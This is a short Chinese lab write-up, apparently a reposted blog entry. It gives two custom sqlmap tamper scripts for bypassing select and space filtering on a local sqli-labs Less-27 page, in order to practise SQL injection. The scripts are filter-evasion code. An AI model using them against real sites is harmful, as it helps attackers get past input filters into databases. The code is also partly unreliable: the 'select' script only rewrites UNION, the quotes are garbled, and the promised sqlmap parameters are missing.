标签:小结 python xrange == map com logs false 导包
目的:修改sqlmap中的tamper脚本来绕过代码对特定参数的过滤和转义
环境:win10、phpstudy2016、sqli-labs-master平台
工具:sqlmap、burpsuite
地址:http://127.0.0.1/sqli-labs-master/Less-27/?id=1
该页面过滤了select和空格,自定义脚本selec2SEleCT.py和space2%0a.py
selec2SEleCT.py脚本内容如下所示:
#!/usr/bin/env python #定义解析器
from lib.core.enums import PRIORITY #导包
__priority__ = PRIORITY.HIGHEST #设置优先级
def dependencies(): #结构一致化
pass #占位符
def tamper(payload, **kwargs): #定义tamper方法
return payload.replace("UNION", "UniON") if payload else payload #使用UniON替换UNION
space2%0a.py脚本内容如下所示:
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "%0a"
continue
elif payload[i] == ‘\‘‘:
quote = not quote
elif payload[i] == ‘"‘:
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "%0a"
continue
retVal += payload[i]
return retVal
用sqlmap直接跑,相关参数如下所示
标签:小结 python xrange == map com logs false 导包
原文地址:http://www.cnblogs.com/peterpan0707007/p/7587267.html